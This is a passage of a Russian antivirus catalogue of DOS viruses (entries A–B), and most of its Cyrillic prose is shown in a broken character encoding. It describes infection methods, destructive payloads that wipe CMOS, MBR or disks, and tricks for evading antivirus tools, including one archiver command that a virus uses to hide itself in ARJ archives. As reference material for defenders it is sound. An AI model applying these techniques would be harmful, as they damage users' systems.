Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ìîæåò óíè÷òîæèòü ñîäåðæèìîå
CMOS-ïàìÿòè, ïåðåãðóçèòü èëè "çàâåñèòü" ñèñòåìó. "Ïåðåõâàòûâàåò" INT 9,
10h, 13h, 1Ch, 21h, 2Fh. Ïðè ñòàðòå èíôèöèðîâàííîãî ôàéëà âûâîäèò òåêñò
"Warning : This file is infected by Apparition !". Òàêæå èíîãäà ìîæåò
âûâåñòè òåêñò "386 or later processor missing. Please replace
processor, then press any key...". Òàêæå ñîäåðæèò ñòðîêè:
Here I am, can you see me
Passing through, on my way
To a place I'd been to only in my dreams
...before
Wherever I roam...
THE APPARITION
THE APPARITION II
Multi Layer Coder [MLC]
Released
ArcHub
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Ñîäåðæèò ñòðîêó "ARC HUB 8A".
Areopag.480
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "* Equus Trojanus v1.1 (C)
AREOPAG No.15 *".
AreThree.2048 (1-3)
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå ôàéëîâî-çàãðóçî÷íûå âèðóñû. Ìîãóò
âûâåñòè êðàñíóþ òî÷êó â âåðõíåì ïðàâîì óãëó ýêðàíà. Ñîäåðæàò òåêñò:
PSYCHo-TECH GMBH 1995
>>> BRAVEd DANGER 4 BRAVE PEOPLe <<<
[[ C·0·D·E·W·A·R ]]
<31> Germany 1995
Virtually called to life & survival by MiNDMANiAC!
RGOEPMSQO ==>= AllE GUtEN DiNGE SiND DREi ==>=
ArjDrop.402
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ-÷åðâü. Èùåò ARJ-àðõèâû è çàðàæàåò èõ,
äîïèñûâàÿ ê íèì ñâîþ âèðóñíóþ êîïèþ, êîòîðàÿ èìååò èìÿ RUNME.COM
Âèðóñ ñîäåðæèò òåêñò "ARJDrop by Qark/VLAD".
ArjDrop.2821
Håîïàñíûé íåðåçèäåíòíûé âèðóñ-÷åðâü. Ïðîèçâîäèò ïîèñê ARJ è RAR-àðõèâîâ
è çàðàæàåò èõ, äîïèñûâàÿ ê äàííûì àðõèâàì ñîáñòâåííóþ êîïèþ â ôîðìàòàõ
ýòèõ àðõèâíûõ ôàéëîâ. Â ARJ-àðõèâû âèðóñ çàïèñûâàåò ôàéë RUNME.COM,
ñîäåðæàùèé âèðóñíûé êîä, à â RAR-àðõèâû - ôàéë RUN_ME_.COM. Â àâãóñòå
âèðóñ ñîçäàåò ôàéë PRESENT.COM è çàïèñûâàåò â íåãî êîä, êîòîðûé ïðè
ñòàðòå âûâîäèò òåêñò:
Citat klasika:
K anielovi chrbtom.
Tak zacal som cestou hirechu ist.
K anielovi chrbtom, len 12 krokov, a 12 ozvien na ne, a dosiel som tam,
kam som nemal prist
Dedicated to my friends Suzy&PEDRO
[an ANGEL-Sign of immortality]
by Blesk 8^)
Present by Blesk wish You HAPPY B-DAY
Suzy
Âèðóñ òàêæå ñîäåðæèò ñòðîêè "RAR'n'ARJ Dropper by Qark/VLAD.",
"RAR support included by Blesk".
ArjVirus
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðîèçâîäèò ïîèñê ôàéëîâ ñ ðàñøèðåíèåì
ARJ â òåêóùåì è âî âëîæåííûõ äèðåêòîðèÿõ. Îáû÷íî ðàñøèðåíèå ARJ èìåþò
àðõèâíûå ôàéëû, ñîçäàííûå ñ ïîìîùüþ ïîïóëÿðíîãî àðõèâàòîðà ARJ. Ïðè
íàõîæäåíèè òàêèõ ôàéëîâ, âèðóñ ñîçäàåò ôàéë ñî ñëó÷àéíûì èìåíåì,
ñîñòîÿùèì èç 4 áóêâ îò 'A' äî 'V' è ñ ðàñøèðåíèåì COM. Â äàííûé COM-
ôàéë âèðóñ çàïèñûâàåò 5000 áàéò ñâîåãî êîäà + ñëó÷àéíîå êîëè÷åñòâî
áàéò. Ïîñëå ÷åãî, âèðóñ ñ÷èòàÿ, ÷òî àðõèâàòîð ARJ.EXE íàõîäèòñÿ â
êàòàëîãå, äîñòóïíîì ÷åðåç ïåðåìåííóþ PATH, âûçûâàåò åãî ñ ïîìîùüþ
êîìàíäíîãî ïðîöåññîðà c:\command.com /c arj a , ãäå
ArjFile - ýòî íàéäåííûé âèðóñîì ôàéë ñ ðàñøèðåíèåì ARJ; ComFile -
COM-ôàéë, ñîäåðæàùèé âèðóñíûé êîä; îïöèÿ æå "a" ãîâîðèò àðõèâàòîðó î
òîì, ÷òî íåîáõîäèìî âêëþ÷èòü çàðàæåííûé ôàéë ComFile â àðõèâíûé ôàéë
ArjFile. Ïîñëå óêàçàííûõ ìàíèïóëÿöèé âèðóñ óíè÷òîæàåò ñîçäàííûé
COM-ôàéë. Ñëåäóåò îòìåòèòü, ÷òî âî âðåìÿ çàðàæåíèÿ àðõèâà âèðóñ
óñòàíàâëèâàåò INT 10h (âûâîä íà ýêðàí) íà ñîáñòâåííûé îáðàáîò÷èê,
ñîñòîÿùèé èç îäíîé êîìàíäû - IRET, äëÿ òîãî, ÷òîáû ïðè âîçíèêíîâåíèè
îøèáêè èëè ïî äðóãèì ïðè÷èíàì íå ïðîèñõîäèëî âûâîäà òåêñòà íà ýêðàí.
Ò.î., "ðàñ÷åò âèðóñà" ñâîäèòñÿ ê òîìó, ÷òî ïîëüçîâàòåëü, ðàñïàêîâàâøèé
ARJ-àðõèâ è óâèäåâøèé íåèçâåñòíûé COM-ôàéë, îáÿçàòåëüíî çàïóñòèò åãî
ðàäè èíòåðåñà... Òàê ñêàçàòü - "ïñèõîëîãè÷åñêèé âèðóñ".
Armagedon.1079
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñ 5.00 äî 6.00 âèðóñ àêòèâíî ðàáîòàåò ñ
ïîñëåäîâàòåëüíûìè ïîðòàìè, âèäèìî, ïûòàÿñü äîçâîíèòüñÿ äî êàêîãî-òî
íîìåðà ñ ïîìîùüþ ìîäåìà. Ñîäåðæèò ñòðîêó "Armagedon the GREEK".
Artemiev.2165
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Èíîãäà ïðîèçâîäèò "äðîæàíèå"
ýêðàíà. Ñîäåðæèò òåêñòû "Èãîðü", "Artemiev I.A.".
Asch.794, 1121
Ðåçèäåíòíûå, Asch.1121 - îïàñíûé, âèðóñû. 15 ÷èñëà ìåñÿöà Asch.1121
óíè÷òîæàåò *.PAS-ôàéëû, çàïèñûâàÿ â íèõ òåêñò:
AlphaVirus [07]Ïàñêàëü - ÃÎÂHÎ, à ÑÊÀÏ - ÒÞÐÜÌÀ
Ó âàñ ëèöà êàê ãîpîõîâûé ñóï
Ó âàñ æèçíè êàê ïpîìàñëåííàÿ áóìàãà
Ó âàñ ìå÷òû êàê âûñòèpàííûå ïîäîäåÿëüíèêè
Ó âàñ ìèp êàê ïpîòèâîãàç...
Åãîp Ëåòîâ,ÃpÎá
Ïðè ñòàðòå ïðîãðàììû DR*.* (DRWEB.EXE) Asch.1121 óíè÷òîæàåò ôàéë
DR*.INI è îáåçâðåæèâàåò ñâîþ ðåçèäåíòíóþ êîïèþ â ïàìÿòè. Ïðè ñòàðòå
ïðîãðàììû AD*.* (ADINF.EXE) Asch.1121 óñòàíàâëèâàåò INT 1Ch (òàéìåð) íà
äèñêîâîå ïðåðûâàíèå INT 13h è âûâîäèò òåêñò:
Ïîñìîòpèì ìíîãî ëè òû ñìîæåøü âîññòàíîâèòü
ñâîèì ñpàíûì Adinfoì.
Press any key ...
Asch.794 ìîæåò "îñûïàòü" ñèìâîëû íà ýêðàíå è âûâåñòè òåêñò "Remember
about XT in world of PC". Òàêæå ñîäåðæèò òåêñò "AlphaVirus [06]
Copyright (C)1995 AlphaSoft(Russia,St.Petersburg,ASCh,12/20/95".
Ash.712, 737
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Çàðàæàþò COM-ôàéëû, çàïèñûâàÿñü â èõ
êîíåö. Ïåðåèìåíîâûâàþò ôàéë C:COMMAND.COM â C:\COMMANDx.COM, ãäå 'x' -
ýòî ñèìâîë ñ êîäîì 255 (0FFh) è ñîçäàþò íîâûé ôàéë C:\COMMAND.COM,
ñîñòîÿùèé èç 8 êîìàíä NOP, êîòîðûé ñðàçó æå è çàðàæàþò. Âèðóñû ìîãóò
âûâîäèòü ñîîáùåíèå "Bad command or file name". Òàêæå ìîãóò îñòàâèòü â
ïàìÿòè ðåçèäåíòíóþ ïðîãðàììó íà INT 08, êîòîðàÿ ïîñûëàåò â ïîðòû 2E8h,
2F8h, 3E8h, 3F8h (COM1, COM2, LPT1, LPT2) ñèìâîë 0DBh 'Û'.
AsmVirus.238
Íåîïàñíûé âèðóñ, çàðàæàþùèé ASM-ôàéëû. Âèðóñ ïðîèçâîäèò ïîèñê *.ASM-
ôàéëà, ïðèñâàèâàåò åìó èìÿ ñ ðàñøèðåíèåì BAK è ñîçäàåò ôàéë ñ
îðèãèíàëüíûì èìåíåì èñõîäíîãî ASM-ôàéëà. Çàïèñûâàåò â äàííûé ôàéë
çàãîëîâîê ñòàíäàðòíîãî ASM-ôàéëà:
.MODEL TINY
.CODE
ORG 256
a:
Ïîñëå ÷åãî çàïèñûâàåò äèðåêòèâû "DB" è áàéò çà áàéòîì ïåðåâîäèò ñâîé
êîä â ñèìâîëüíûé âèä. Â êîíåö ôàéëà âèðóñ çàïèñûâàåò ñòàíäàðòíîå
"îêîí÷àíèå" ôàéëîâ, íàïèñàííûõ íà àññåìáëåðå:
ENDS
END a
 ðåçóëüòàòå, ïðè òðàíñëÿöèè òàêîãî ôàéëà áóäåò ïîëó÷åí îáúåêòíûé è
áèíàðíûé âèðóñíûé êîä.
Asprin.2515
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò COM è EXE-ôàéëû, ïðè÷åì EXE-
ôàéëû ïðåâðàùàåò â COM, èçìåíèâ ïåðâûå 3 áàéòà íà êîìàíäó ïåðåõîäà. Ïðè
ñòàðòå âèðóñ óäàëÿåò ñâîé êîä èç ñòàðòîâàâøåé ïðîãðàììû, çàïóñêàåò åå
íà âûïîëíåíèå, ïîñëå ÷åãî ïðîèçâîäèò ïîèñê è çàðàæåíèå ôàéëîâ íà äèñêå.
Ïî îêîí÷àíèè ðàáîòû âèðóñ îñòàâëÿåò â ïàìÿòè ðåçèäåíòíûé êîä íà INT 08,
ïðîèçâîäÿùèé õîëîñòûå öèêëû è çàìåäëÿÿ ñêîðîñòü ðàáîòû êîìïüþòåðà.
Ñîäåðæèò òåêñòîâûå ñòðîêè "VIRUS "ASPRIN" ÃËÀÇÎÂ 1995(C)ÏÐÈÂÅÒ ÂÑÅÌ
ÕÀÊÅÐÀÌ ã.ÃËÀÇÎÂÀ! ÏÐÈ ÇÀÏÓÑÊÅ EXE ÔÀÉËÀ,VIRUS ÑÍÀ×ÀËÀ ËÅ×ÈÒ ÅÃÎ!
ÈÑÏÎËÜÇÓÉÒÅ ÝÒÎ ÑÂÎÉÑÒÂÎ ÄËß ËÅ×ÅÍÈß! ÆÅËÀÞ ÓÑÏÅÕΠ ÈÇÓ×ÅÍÈÈ
ÊÎÌÏÜÞÒÅÐÍÎÉ ÌÈÊÐÎÁÈÎËÎÃÈÈ!", "/QHELP", "MsDos".
Assassin.952, 959
Îïàñíûå ðåçèäåíòíûå, çàìåùàþùèå ïðîãðàììíûé êîä âèðóñû. Ñîäåðæàò òåêñò
"This is [Assassin] written by Dark Slayer in Keelung. Taiwan ".
Atas.384
Èíîãäà ïîñëå çàðàæåíèÿ ôàéëîâ âûâîäèò íà ýêðàí òåêñòîâóþ ñòðîêó "Ok.".
Ñîäåðæèò òåêñò "ATAS V0.1 Cr.24.01.92".
Aussie.147
Îïàñíûé âèðóñ. Ñîäåðæèò òåêñò "..."AussieBoy" virus from DownUnder...",
è "...Coeo ergo sum...".
Australian.Grue
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò:
It is pitch black. You are likely to be eaten by a Grue.
Australian.Kuang
Íåîïàñíûé ðåçèäåíòíûé âèðóñ-ñïóòíèê. Ñîäåðæèò òåêñò:
W.I.N.T.E.R.M.U.T.E.
3jANE is a bItcH
I wanna set of Mollys shades
Case lives.... Somewhere in the NET!
Kuang Virus 2.0
N.E.U.R.O.M.A.N.C.E.R.
(C) 1992 Australian Parasite
Avalgasil.666
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó
"(Avalgasil)666".
Avatar.Dichotomy
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ñîñòîèò èç äâóõ ÷àñòåé 296 áàéò è 567 áàéò.
Ïåðåõâàòûâàåò INT 21h. Êîððåêòíî çàðàæàåò òîëüêî COM-ôàéëû. Ïðè çàïóñêå
EXE-ôàéëîâ ïîðòèò èõ. Âèðóñ äåëèò çàïóñêàåìûå ïðîãðàììû íà "÷åòíóþ" è
"íå÷åòíóþ" ïîëîâèíó. Ïðè ñòàðòå "íå÷åòíîãî" ôàéëà âèðóñ äîïèñûâàåò ê
íåìó 567 áàéò ñâîåãî êîäà. Ïðè ñòàðòå æå "÷åòíîãî" ôàéëà âèðóñ çàðàæàåò
åãî, äîïèñûâàÿ â åãî êîíåö 296 áàéò è èçìåíÿÿ 3 ïåðâûõ áàéòà íà êîìàíäó
ïåðåõîäà íà âèðóñíûé êîä. Â äàëüíåéøåì ïðè ñòàðòå èíôèöèðîâàííîãî
"÷åòíîãî" ôàéëà, âèðóñ èùåò ñâîþ âòîðóþ ïîëîâèíó â "íå÷åòíîì" ôàéëå,
èìÿ êîòîðîãî âèðóñîì ñîõðàíÿåòñÿ. Åñëè "íå÷åòíàÿ" ôàéë íàéäåí, òî âèðóñ
ñ÷èòûâàåò ñâîþ âòîðóþ ïîëîâèíó è îñòàåòñÿ â ïàìÿòè ðåçèäåíòíî. Åñëè æå
íå íàéäåíà - âèðóñ îòäàåò óïðàâëåíèå ïðîãðàììå-âèðóñîíîñèòåëþ.
Ò.î., äàííûé âèðóñ ÿâëÿåòñÿ "ðàáîòîñïîñîáíûì" åñëè â ñèñòåìå íàõîäÿòñÿ
îáå ÷àñòè âèðóñà. Ñîäåðæèò ñòðîêè: "[Dichotomy] (c) 1994 Evil Avatar",
"[Dichotomy]".
Avatar.Narcosis
Îïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. 9 èþíÿ óíè÷òîæàåò ñîäåðæèìîå ïåðâîãî
æåñòêîãî äèñêà. Ñîäåðæèò òåêñò "[Narcosis] (c) 1994 Evil Avatar".
Avatar.Positron
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. "Ïåðåõâàòûâàåò" INT 21h, êîíòðîëèðóåò
çàïóñê COM-ôàéëà, ïîñëå ÷åãî æäåò ïåðâîãî âûçîâà INT 21h è âíåäðÿåò
âìåñòî ýòîãî âûçîâà â ñòàðòîâàâøèé ôàéë JUMP NEAR (E9 ?? ??) íà ñâîé
êîä, êîòîðûé âèðóñ çàïèñûâàåò â êîíåö ôàéëà. Ñîäåðæèò òåêñò
"[Positron] (c) 1994 Evil Avatar".
Avispa.2048 (1-5)
Îïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Avispa.2048 (3) èíîãäà âûâîäÿò
íà ýêðàí òåêñò:
Escrito por Elijah Baley
V1.0 Noviembre 10 1993
V1.2 Enero 4 1994
Buenos Aires - Republica Argentina
Peace will only come finding the peace within.
Îñòàëüíûå âèðóñû â ïîëíî÷ü, ïðè ÷òåíèè ñåêòîðîâ äèñêîâ (f.2 Int 13h)
çàïèñûâàþò â ïðî÷èòàííûé äèñêîâûé áóôåð òåêñò:
$$ Virus AVISPA $$ Republica Argentina$$ Elijah Baley $$
Noviembre 10 de 1993 $$ This program is not an old virus variant,
and it was written in Argentina by Elijah Baley. $$=64446$$
Âèðóñû ñîäåðæàò ïåðå÷åíü íåêîòîðûõ ôàéëîâ:
c:\dos\xcopy.exe
c:\dos\mem.exe
c:\dos\setver.exe
c:\dos\emm386.exe
À òàêæå - òåêñò "__ Virus Avispa - Buenos Aires - Noviembre 1993 __".
Avispa.2048 (3) èìååò òåêñò "QUE NOS DEPARA EL 94... QUIEN SABE!! ;-)".
Avl.352
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. 13 ÷èñëà èçìåíÿåò Memory Refresh è âåêòîð
INT 5 (Print Screen) óñòàíàâëèâàåò íà êîä ïåðåçàãðóçêè êîìïüþòåðà.
Ñîäåðæèò ñòðîêó "AVL".
Avs.301, 349
Ñîäåðæàò òåêñòû "by AVS v1.0(c)1997 'KAI" èëè "by AVS v1.1(c)97Â ýòîì
ìèðå ñëèøêîì ìíîãî äåðüìà....".
Avvaddon.1100
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò ñîîáùåíèå:
AVVADDON for Lozinsky:
I~m the bitch you HATED !
Awake.797, 1099
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. 8 äåêàáðÿ âûâîäÿò òåêñòû:
Awake.797:
Awake, Jim Morrison! Awake !
Awake.1099:
Awake
Shake dreams from your hair
My pretty child, my sweet one.
Choose the day and choose the sign of your day
The day's divinity
First thing you see.
A vast radiant beach in a cool jeweled moon
Couples naked race down by it's quiet side
And we laugh like soft, mad children
Smug in the wooly cotton brains of infancy
The music and voices are all around us.
Choose they croon the Ancient Ones
The time has come again
Choose now, they croon
Beneath the moon
Beside an ancient lake
Enter again the sweet forest
Enter the hot dream
Come with us
Everything is broken up and dances.
Jim Morrison
Awake.797 ñîäåðæèò òåêñò "Èðèíà Èâàíîâíà Êðóïÿíêî - Äóðà, Êîçà è
......... Øêîëà N434".
AWME - âèðóñû
AWME (Anti WEB Mutation Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. ßâíûé ïëàãèàò èç âèðóñà Natas. Ñîçäàí,
ÿêîáû, äëÿ îáìàíà ýâðèñòè÷åñêîãî àíàëèçàòîðà àíòèâèðóñíîé ïðîãðàììû
Dr. Web êàçàíñêèì ÷åëîâåêîì ïîä èìåíåì Àìèð aka AD. Ñîäåðæèò ñòðîêó
"\> Anti WEB Mutation Engine [AWME] by AD. v1.0 COMMAND.COM<=".
Baba.366 - "=>Û Û Natasha Denisova Û Û<=".
Baby.83, 100
Íåîïàñíûå ðåçèäåíòíûå âèðóñû-ñïóòíèêè. Èçìåíÿþò ïîñëåäíþþ áóêâó
ðàñøèðåíèé çàïóñêàåìûõ ôàéëîâ.
BackSlash
Ïðè ÷òåíèè ñåêòîðîâ âèðóñ èùåò â ïðî÷èòàííûõ ñåêòîðàõ äèñêà ñèìâîë 5Ch
'\' è ñðàçó ïîñëå íåãî âñòàâëÿåò áàéò 0.
BackFormat.2000 (1,2), 2345, 2381
Îïàñíûå âèðóñû. Çàðàæàþò EXE, COM-ôàéëû íà äèñêàõ A: è B: ïðè çàêðûòèè
(f.3Eh INT 21h) âíîâü ñîçäàâàåìûõ ôàéëîâ (f.3Ch, 5Bh INT 21h).
BackFormat.2000 (2) òàêæå çàðàæàåò ïðè çàêðûòèè îòêðûòûõ ôàéëîâ. Âèðóñû
çàðàæàþò c:\command.com, íå èçìåíÿÿ åãî äëèíû. Ïåðåõâàòûâàþò INT 13h,
INT 21h. Ïðè ôîðìàòèðîâàíèè ãèáêèõ äèñêîâ, ïîñëåäîâàòåëüíî ïðèñâàèâàþò
ñåêòîðàì çíà÷åíèÿ â îáðàòíîì ïîðÿäêå, íà÷èíàÿ ñî ñòàðøèõ àäðåñîâ.
Íàïðèìåð, äëÿ äèñêà 360K âìåñòî çíà÷åíèé 1,2,...,9, ïîðÿäîê ÷åðåäîâàíèÿ
ñåêòîðîâ áóäåò - 9,8,...1.
BackFormat.2320
Î÷åíü îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè çàïèñè â ôàéë (f.40h
Int 21h) î÷åíü ÷àñòî ñäâèãàåò çàïèñûâàåìóþ èíôîðìàöèþ íà 1 áàéò. Â
ïÿòíèöó ïðîèçâîäèò äàííóþ îïåðàöèè â 4 ðàçà ÷àùå.
BackUSSR
7 îêòÿáðÿ âûâîäèò òåêñò "I'm backing to the USSR !".
BadBoy.1000 (1-7)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñîñòîÿò èç 9 áëîêîâ, 8 èç êîòîðûõ âèðóñû
ìåíÿþò ìåñòàìè ïðè èíôèöèðîâàíèè ôàéëîâ. Ðàçëè÷íûå ìîäèôèêàöèè âèðóñîâ
ñîäåðæàò ñëåäóþùèå òåêñòîâûå ñòðîêè:
The Bad Boy virus, Copyright (C) 1991.
The Bad Boy virus, Version 2.0, Copyright (C) 1991.
(c) by Metal Thunder IVRL Milan Italy 244b
Badless.494
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Çàðàæàåò *.COM-ôàéëû. Ôàéëû ôîðìàòà EXE,
èìåþùèå ðàñøèðåíèå COM âèðóñ óíè÷òîæàåò, çàïèñûâàÿ â íèõ 37 áàéò êîäà,
êîòîðûé ïðè ñòàðòå äàííûõ ïðîãðàìì âûâîäèò òåêñò "Only in God we
trust...". Èìååò òàêæå òåêñò "Badless 1992".
BadSectors.3422, 3428, 3627
Îïàñíûå ðåçèäåíòíûå âèðóñû. Ïåðåõâàòûâàþò INT 8, 16h, 21h, 25h, 26h.
Èíîãäà óñòàíàâëèâàþò "ïëîõèå" êëàñòåðû äèñêà ïîñðåäñòâîì ìàíèïóëÿöèé
ñ òàáëèöàìè ðàçìåùåíèÿ ôàéëîâ FAT. Íå çàðàæàþò ïðîãðàììó SCAN.
Ñîäåðæàò òåêñòîâûå ñòðîêè "COMEXE", "SCAN" è
BadSectors.3422: BadSectors 1.1
BadSectors.3428: BadSectors 1.2
BadSectors.3627: BadSectors 1.3
Balashiha.271
Áëîêèðóåò âûâîä íà ïðèíòåð. Ñîäåðæèò ñòðîêó "Balashiha-2".
Bambr.431
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "BAmBR*.com".
BAME-âèðóñû
BAME (Black Angel Mutatuon Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. Ñîçäàí âèðóñîïèñàòåëåì èçâåñòíûì, êàê
Black Angel.
BAME.Demo
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Êàæäóþ ìèíóòó "ñáèâàåò" áóôåð
êëàâèàòóðû. Ñîäåðæèò òåêñòû "This is [BAME beta version] DemoVirus (c)
Black Angel`96", "BlackAngelMutationEngine v1.beta (c)Black Angel".
BAME.Saboteur
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ðàçðóøàåò êàæäûé 15 îòêðûâàåìûé
ôàéë ñ ðàñøèðåíèåì BA?, AR?, PA?, çàïèñûâàÿ â íèõ ñòðîêó "SABOTEUR-2".
Ïîñëå çàðàæåíèÿ 6 ïðîãðàìì (à òàêæå â íåêîòîðûõ äðóãèõ ñëó÷àÿõ) âèðóñ
óíè÷òîæàåò ñîäåðæèìîå CMOS-ïàìÿòè, MBR ïåðâîãî æåñòêîãî äèñêà è
ïûòàåòñÿ âûâåñòè òåêñò:
T H I S I S S A B O T E U R - 2
±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý
±±±Ý ±±±Ý
Û±Û± ±Û±Û± Û±Û±Û± ±Û±Û Û±Û±Û±Û± Û±Û±Û± Û± Û± Û±Û±Û±
Û± Û Û± ±Û ±Û ±Û Û± ±Û Û± ±Û ±Û ±Û ±± ±Û
±Û ±Û Û± Û± Û± ±Û Û± ±Û Û± Û± Û± ±Û Û±
±Û±Û Û± ±Û ±±Û±Û± Û± ±Û Û± ±Û±Û ±Û ±Û Û±Û±Û
±Û ±Û±Û±Û± ±Û Û± ±Û Û± ±Û Û± Û± Û± ±Û Û±
± Û± Û± ±Û Û± ±Û Û± ±Û Û± ±Û ±Û ±Û Û± ±Û
Û±Û± ±Û Û± ±Û±Û±Û ±Û±Û ±Û Û±Û±Û± ±Û±Û± ±Û Û±
±±±Ý ±±±Ý
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±Ý
Copyright by Black Angel 1996
Ñîäåðæèò òåêñòû "THE SABOTEUR-2 virus Copyright by Black Angel 1996",
"-=(c)M.M.=-", "BlackAngelMutationEngine v1.beta (c)Black Angel`96".
Bandersnatch
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé ñòåëñ-âèðóñ. Ñîäåðæèò òåêñòû
"Çëîïàñòíûé Áðàíäàøìûã", "DOS-UP", "What's fuck?"
Baobab.1635, Baobab.2304
Ðàñïîëàãàþò ñâîè TSR-êîïèè ïî àäðåñó 9F60:0000h áåç êîððåêöèè
MCB-áëîêîâ. Ñîäåðæàò ñòðîêó "Fva iitd".
Baran.3294, 4968
Ðåçèäåíòíûå ïîëèìîðôíûå âèðóñû. Baran.4968 - ñòåëñ-âèðóñ. Baran.4968
çàðàæàåò êîìàíäíûé ïðîöåññîð, óêàçàííûé â ïåðåìåííîé COMSPEC. Åñëè
âèðóñ ðàáîòàåò ïîä óïðàâëåíèåì MS Windows, òî âèðóñ òàêæå çàðàæàåò
ïðîãðàììó, êîòîðàÿ çàïóñêàåòñÿ ïðè âûõîäå èç Windows. Baran.3294
ìîæåò âûâåñòè òåêñò "Gwadera to baran !". Baran.4968 ïîðòèò äàííûå,
çàïèñûâàåìûå íà äèñê. Baran.4968 ñîäåðæèò òåêñò "Unknown destroyer v1".
Barrotes.1303
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñðàçó ñòðåìèòñÿ çàðàçèòü ôàéë
COMMAND.COM. 23 ñåíòÿáðÿ èçìåíÿåò ñèìâîëû, ââîäèìûå ñ êëàâèàòóðû.
Ñîäåðæèò òåêñòû "Sta Tecla (MAD1)", "ST".
Barrotes.1310
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðâûì äåëîì ñòðåìèòñÿ çàðàçèòü ôàéë
c:\command.com. 5 ÿíâàðÿ óíè÷òîæàåò MBR ïåðâîãî æåñòêîãî äèñêà è
âûâîäèò íà ýêðàí òåêñò "Virus BARROTES por OSoft".
Basilisk.1639
Íåîïàñíûé ïîëèìîðôíûé âèðóñ. Ïðè ñòàðòå ïðîãðàìì SCAN*.* âèðóñ âûâîäèò
ñîîáùåíèå "Packed file is corrupt" è âîçâðàùàåò óïðàâëåíèå â DOS.
Ñîäåðæèò ñòðîêó "Basilisk v1.0" è òåêñò:
(c) 1992 YAM/RABID International
The slave thinks he is released from bondage
only to find a stronger set of chains
Bastard.1979
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò EXE-ôàéëû è ôàéë COMMAND.COM.
 ôàéë COMMAND.COM âèðóñ çàïèñûâàåò 200 áàéò êîäà, êîòîðûé íå ÿâëÿåòñÿ
âèðóñíûì êîäîì. Ìîæåò óíè÷òîæèòü 100 ñåêòîðîâ äèñêà A: èëè C:, è
âûâåñòè ñîîáùåíèå:
BASTARD!! Virus
CopyRight (c) 1993-94 by Doctor Revenge-Italy-
Please wait,formatting your precious Hard Disk...
Óäàëÿåò ôàéëû MS*.* è CP*.*. Íå çàðàæàåò ôàéëû, ñîäåðæàùèå â ñâîåì
èìåíè 2 ñîñåäíèå áóêâû èç ñòðîêè "SCCLF-TBVSVIIMMSCV". Èìååò ñòðîêó
"This virus was written by Doctor Revenge November 23 - December 29
1993 -Italy-".
BAT.282
Íåîïàñíûé íåðåçèäåíòíûé Batch-âèðóñ. Ñîçäàåò â êîðíåâûõ êàòàëîãàõ
äèñêîâ B: è C: ôàéë VIRUS.BAT, ñîäåðæàùèé âèðóñíûé êîä. Âñòàâëÿåò â
ôàéë AUTOEXEC.BAT âûçîâ ôàéëà VIRUS.BAT.
BAT.Batalia.491
Ñîäåðæèò òåêñò ":[BATalia-5] (c) by Reminder".
BAT.Batalia.2011
Íåîïàñíûé ïîëèìîðôíûé âèðóñ, çàðàæàþùèé *.BAT-ôàéëû â òåêóùåì êàòàëîãå.
Ïðè çàðàæåíèè ôàéëîâ âèðóñ èñïîëüçóåò àðõèâàòîð ARJ, äîñòóïíûé ÷åðåç
ïåðåìåííóþ ñðåäû PATH. Èíôèöèðîâàííûé BAT-ôàéë ñîñòîèò èç äâóõ ÷àñòåé.
Ïåðâàÿ ÷àñòü ñîñòîèò èç ïÿòè êîìàíä DOS, à âòîðàÿ ÷àñòü ÿâëÿåòñÿ
çààðõèâèðîâàííûì ñ ïîìîùüþ ARJ BAT-ôàéëà, èìåþùåãî ñëó÷àéíîå èìÿ. Ýòîò
çààðõèâèðîâàííûé BAT-ôàéë òàêæå ñîäåðæèò êîìàíäû DOS è åùå îäèí ARJ -
àðõèâ. Êîìàíäû DOS ÿâëÿþòñÿ îñíîâíûì òåëîì âèðóñà, îíè ïðîèçâîäÿò ïîèñê
ôàéëà-æåðòâû, çàðàæåíèå ôàéëîâ è ñîçäàíèå ïîëèìîðôíîãî êîäà.Ïåðâûå ïÿòü
êîìàíä âèðóñà âèáèðàþòñÿ ñëó÷àéíûì îáðàçîì è èìåþò ðàçëè÷íóþ äëèíó.
Âòîðàÿ ÷àñòü - ARJ-àðõèâ çàøèôðîâàí ñî ñëó÷àéíûì ïàðîëåì è íå ìîæåò
áûòü äåòåêòèðîâàí ïî îïðåäåëåííîé ìàñêå. Ïðè çàïóñêå èíôèöèðîâàííîãî
